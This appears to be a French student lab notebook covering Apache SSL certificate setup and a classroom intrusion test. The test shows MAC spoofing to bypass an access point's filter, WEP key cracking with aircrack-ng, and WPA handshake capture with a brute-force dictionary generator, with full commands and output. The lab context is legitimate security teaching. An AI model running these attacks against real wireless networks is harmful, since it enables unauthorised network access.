 -----BEGIN CERTIFICATE REQUEST-----
       ... texte crypter...
-----END CERTIFICATE REQUEST-----

Je la copie dans l'emplacement voulue sur gandi.net

Gandi m'envoi un mail a l'adresse informée "admin@love-in-the-world.space" Il faut donc clique sur un lien de confimation et entrer la cles fournit dans le mail. Une fois le certificat reçut, Je le copie et le colle dans le chien.crt et gandi.crt

#nano 000-domain.tld-ssl.conf
    <VirtualHost 193.48.57.181:443>

        ServerName www.love-in-the-world.space
        ServerAlias love-in-the-world.space
        DocumentRoot /var/www/html/
        CustomLog /var/log/apache2/secure_access.log combined

        SSLEngine on
        SSLCertificateFile /root/chien.crt
        SSLCertificateKeyFile /root/chien.key
        SSLCertificateChainFile /root/gandi.crt
        SSLVerifyClient None

  </VirtualHost>

#a2enmod ssl
#service apache2 reload

Test d'intrusion

Intrusion par changement d'adresse MAC

En remplacant l'adresse mac de mon eeepc par une adresses MAC que le point d’accès T1 autorise je pourrais me connecter sur celui-ci.

Changement d'adresse MAC:

- ifconfig wlan0 down
- ifconfig wlan0 hw ether 00:15:AF:E6:ED:B1  //adresse mac de Gauthier
- ifconfig wlan0 up

On change la cles par: 0000000000 et le SSID : T1

# cat /etc/network/interfaces
# source /etc/network/interfaces.d/*

# The loopback network interface
# auto lo
# iface lo inet loopback

Ethernet interface
auto eth0
iface eth0 inet static
  address 172.26.79.241
  netmask 255.255.240.0
  gateway 172.26.79.254

auto wlan0
iface wlan0 inet static
	wireless-mode managed
	wireless-essid T1
	wireless-key 0000000000
	address 172.26.79.61
	netmask 255.255.240.0
	gateway 172.26.79.254

Apres cette modification J'arrive a me connecter sur le point d’accès de Marouane(T1).

Préparation aux cassage de clés

- Instalation aircrack-ng

# apt-get install aircrack-ng firmware ralink

- Instalation du port usb-Wifi

apt-get install firmware ralink
airmon-ng start wlan1

Cassage d'une cles WEP

Je scan le reseaux Wifi:

airodump-ng mon0 --channel 5

J’identifie le ssid de cracotte06 et je met les donnée dans un fichier nommé fcracotte06



root@Discus:/home/pifou# airodump-ng mon0 --channel 5 --bssid 04:DA:D2:9C:50:55 -w
fcracotte06

CH 5 ][ Elapsed: 0 s ][ 2015-11-20 09:05 

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:55 -55 28 29 420 116 5 54e. WEP WEP cracotte06 

BSSID STATION PWR Rate Lost Frames Probe 

04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -48 36e-54e 80 456 

La capture a donc commencé

Dans un autre terminal: Je vais analyser mon fichier de capture pour casser la cles.

# ls
# aircrack-ng fcracotte06-01.cap

apres quelque minutes on obtient la cles

                 [00:06:58] Tested 965565 keys (got 60459 IVs)

   KB    depth   byte(vote)
    0    0/  1   AA(85504) EA(73728) 60(70144) 0C(69120) 33(68608) 
    1    0/  1   AA(77824) 25(74496) BC(70400) 6C(70144) 3B(69632) 
    2    0/  1   AA(79872) 3E(70912) 76(70400) 5C(70144) 01(68864) 
    3    4/  5   AA(71680) FA(68608) 41(68352) 38(68096) 49(68096) 
    4    0/  1   AA(86016) A1(70912) 80(69632) 2A(68352) 65(68352) 
    5    0/  1   AA(85760) AF(73216) C6(71424) 5A(71168) 25(70400) 
    6    0/  1   AA(75520) 26(70400) CB(70400) 46(69888) 1C(69632) 
    7    0/  1   AA(83968) 18(71680) 4C(71424) 74(70144) 1E(69632) 
    8    0/  1   AA(82176) 6F(70912) F7(70144) FB(69632) 17(68864) 
    9    0/  3   D7(73216) 97(71168) A4(70400) BA(70144) FE(69632) 
   10    0/  1   5F(78336) D6(72960) 46(71424) CB(68608) 8D(68352) 
   11   13/  1   48(67072) 60(67072) F6(66816) AC(66560) 2B(66048) 
   12    0/  1   BB(79580) A7(71096) 8B(69960) 13(69196) 68(68424) 

             KEY FOUND! [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:BB:BB:BB ] 
	Decrypted correctly: 100%

Cassage d'une cles WPA

Cette partie consiste a casser une clés WPA par force brute. Je m'interesse plus particulierement a caracotte06 comme précédament.

Je vais dans une premier temps ecouter ce qui a sur ce réseau on suppose que quelle qu'un se connecte dessus régulièrement, le but étant de récupérer le handshake.

Recuperation du Handshake:

airodump-ng --encrypt wpa mon0

# airodump-ng --encrypt wpa mon0 -c 7 --bssid 04:DA:D2:9C:50:55 -w wpacracotte06

CH 7 ][ Elapsed: 26 mins ][ 2015-11-20 10:40 ][ WPA handshake: 04:DA:D2:9C:50:55 

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:55 -70 22 9735 1905 18 7 54e. WPA2 CCMP PSK cracotte06 

BSSID STATION PWR Rate Lost Frames Probe 

04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -70 54e- 1e 904 1249



creation d'un dictionaire : Je Créer un dictionaire pour comparer le handshake que j'ai recuperer avec des cles possible. la cles etant comprise entre 00000000 et 99999999 je réalise un petit programme qui affiche toutes ces valeurs:

#include <stdio.h>
int main ()
{
int val=0;
for(val=0;val<99999999 ;val++)
{printf("%08d\n",val); }
return 0;
}

Compilation : </pre>

  1. gcc -Wall Dictionnaire.c -o Dictionnaire

</pre>

Création : On exécute le programme Dictionnaire et on renvoi les résultats dans le fichier Dico

# ./Dictionnaire > Dico


Cassage de la cles: après avoir récuperer le Handshake du Wifi carotte06 Je vais casser la clés en utilisant mon dictionnaire "Dico" le fichier "wpacracotte06-02.cap"

aircrack-ng -w Dico wpacracotte06-02.cap

après quelle que heures j'obtiens la clès:

                                 Aircrack-ng 1.2 beta3


                   [02:00:57] 12399908 keys tested (1782.72 k/s)


                           KEY FOUND! [ 12399906 ]


      Master Key     : 4B 0E E0 87 93 06 14 C0 E2 64 55 76 95 9A 30 6B 
                       75 7C 8F CC B4 F8 2B 0D 78 3A 57 04 79 C2 F9 72 

      Transient Key  : 63 0F 9B D4 8B 09 C9 2C D5 E2 56 3D C7 21 AC 9E 
                       94 5C E6 F7 19 FB EA 52 3F 02 C4 10 72 4F B8 7E 
                       F1 92 CC 2C 02 E1 F7 47 C1 1D F2 FD CE EF F5 5E 
                       22 24 87 42 46 4F D6 38 DF D4 CC 6D 61 4E 1D 7E 

      EAPOL HMAC     : A3 D3 FD F5 09 AC B9 96 F5 0E 93 0A 3C 63 36 CD 



mettre serveur messagerie demander certificat

securisation wifi WPA-EAP